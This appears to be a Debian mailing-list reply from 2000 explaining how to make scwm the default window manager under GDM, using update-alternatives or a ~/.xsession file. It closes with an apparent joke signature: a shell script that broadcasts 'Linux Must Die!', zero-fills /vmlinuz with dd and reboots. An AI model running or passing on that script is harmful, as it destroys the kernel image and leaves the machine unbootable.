[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]


<Note>Please create a new mail when starting a new thread rather than
replying to a previous thread an then changing the topic.</Note>

On Mon, Jul 03, 2000 at 07:01:08PM -0400, Patrick Dahiroc wrote:
> hi all
> i'm switching window managers from enlightenment to scwm (it's about
> time i learn lisp).  i'm using gdm as my display manager, which -
> correct me if i'm wrong - simply runs gdmchooser, gdmlogin, and
> gnome-session or Xsession depending on which session i choose.
> (gnome-session is called by the script /etc/gdm/Sessions/Gnome)
> what i would like to know:
>   1) how do i make scwm my default window manager?
>      in /etc/gnome/default.wm if have made WM=scwm, but everytime i
>      login in X i keep getting x-window-manager which is fvwm.

GDM has a special idea about session management.  Basically, there
appear to be three ways to go: GNOME -- where gnome-session handles
which window manager to start; Debian -- which runs the normal Debian X
startup scripts; Xsession -- which runs xsm (?) and skips the Xresource
settings that you get with "Debian".  If you want to make
scwm your default window manager for the 'puter, as root, run
"update-alternatives --config x-window-manager" and select scwm.  If you
just want to change it for yourself (individual user), create a
.xsession file in your $HOME directory that has the lines:

#! /bin/sh
exec scwm

And then "chmod +x ~/.xsession".  It will work both with "startx" and a
display manager.  Then just choose the "Debian" session from GDM and
everything is hunky dory.
>   2) can i continue to use /etc/gdm/Sessions/Gnome or do i have to
>      switch to Xsession?
>   3) anybody know how well gnome works with scwm?

Haven't heard anything that indicates scwm is GNOME compliant.  So, I'm
guessing no.  I've personally had best luck with icewm-gnome or sawfish
(aka sawmill) with GNOME.

#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now

Reply to: